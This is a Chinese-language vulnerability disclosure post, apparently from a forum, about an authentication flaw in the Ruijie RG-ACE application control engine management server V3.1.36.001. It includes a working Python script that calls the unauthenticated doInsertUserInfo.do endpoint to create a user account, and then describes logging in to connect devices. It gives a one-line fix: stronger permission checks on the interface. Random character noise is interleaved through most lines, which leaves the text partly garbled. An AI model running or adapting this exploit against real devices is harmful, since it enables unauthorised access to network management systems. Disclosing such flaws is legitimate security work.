锐捷应用控制引擎管理服务器(RG-ACE系列应用控制引擎管理服务器V3.1.36.001,官网的连接 http://www.ruijie.com.cn/service/down-search.aspx 显示是最新版)可以根据没有权限验证的接口直接增加用户,连接设备,查看设备信息和报表(权限相对于默认的admin比较低)+ {! x! a5 v' G8 ?: T$ \; h" k
% ^: ], N) p c- t2 F- K
! z/ a5 y8 {+ D3 `测试的具体版本是
: t' d/ f3 K, l3 L# `产品名称: 锐捷应用控制引擎% V' x% E6 k G/ R6 D, h
版本号: 3.1.36.001 TC. a) I8 B; Y- X5 a# k ]7 r
编译时间: 2011042917300 k* Y8 \& r+ q
+ j0 X4 [( b# i
2 a; w; o0 b8 [% X3 `漏洞证明:
8 W/ B( p# B R. N: | + p, d( e. d' m) N" m
% \( `- s' D4 J$ p2 f9 H( u; C, h' {( f6 }% p1 g$ |
8 a6 Q6 ^% Y W2 w- `0 ]" X
; p8 X D$ k" A8 ], Q' V3 Q1 @: J+ y! l8 n1 S
执行脚本
/ `' m [; M0 _#! /usr/bin/env python! n) j5 a2 Q% U/ N* w
#coding=gbk
5 j4 |1 h) B/ G K; }" P8 B0 A#RG-ACE管理服务器 V3.1.36.001
3 Y _' u" r D6 Y) K/ ?4 |import urllib2, urllib,cookielib/ T _$ i; E: s2 {: G
url=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP
! j- k( B6 [3 c9 I* }opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))
2 A$ ]5 ?! {6 M. @1 ^( qopener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]
0 K* } \4 s5 V# g+ E8 L# jpost=(("event","userManager.doInsertUserInfo"),
, ?* R+ J, E$ c("useractionname","addButtonValue"),3 p* n7 v9 n h: ^, p7 g! q) I
("useropermanager","userManager"),
5 ]6 c, X+ A2 o/ D("userName","t"), #######账号自己加, V% F6 u% Z4 A; K- U" X5 E" S8 z
("pwd","aaaaaa"),######密码自己加
, g0 Q( {$ ~, N2 N+ M7 y/ i4 U! W& b("trueName","ad"),
4 d0 K1 \! W: V" D Y6 p+ N( `6 W("email",""),
6 L8 h; X) D$ j. a3 l7 A("mobilePhone",""),
; y6 k( {# ^/ U" Q7 w6 }("officePhone",""),
2 Z0 @" i$ |, F: F( o("addr",""),
8 _4 {9 a' e1 u9 @* t("submit","确定"))
4 D4 Y, h- D$ X3 l, \, i- R# Kurllib2.install_opener(opener)1 B6 G3 k8 L- h! \0 c' Y& |2 j
p=urllib2.urlopen(url, urllib.urlencode(post)).read(); H- f) \, K4 v: T/ k! {% _( F& d; ?
print "Done"
( T' ?; k8 _1 D" P a" y8 r+ }( K, }, O5 D D7 @% z" v
登录,连接设备
! e. o6 n4 z. R; _ \$ @7 ~; @9 M/ g* ?6 i5 X) g" j* q
7 y2 [7 c& @. a! A% t B1 H
( ~$ p1 t8 y! ?# S* W
8 z9 U' J) [* m* d6 w G% [) I/ i% ?; U- k+ D }
默认的管理员admin权限更大点
3 |; T# }1 `0 Z1 O1 m8 I
2 y+ R, ?1 K- M j; i. v; o/ L0 @; y
+ m- k$ R- `" y' S/ B; O- v+ e ) g+ B# B1 L5 ]- r4 t) O
9 A @: W$ M, ?; i! T修复方案:
& y$ g% E; G$ G, ~/ P1 }5 L加强对接口的权限验证( W! Z' ^/ b: ]0 z$ I
- n: I1 B5 W5 I) J% k |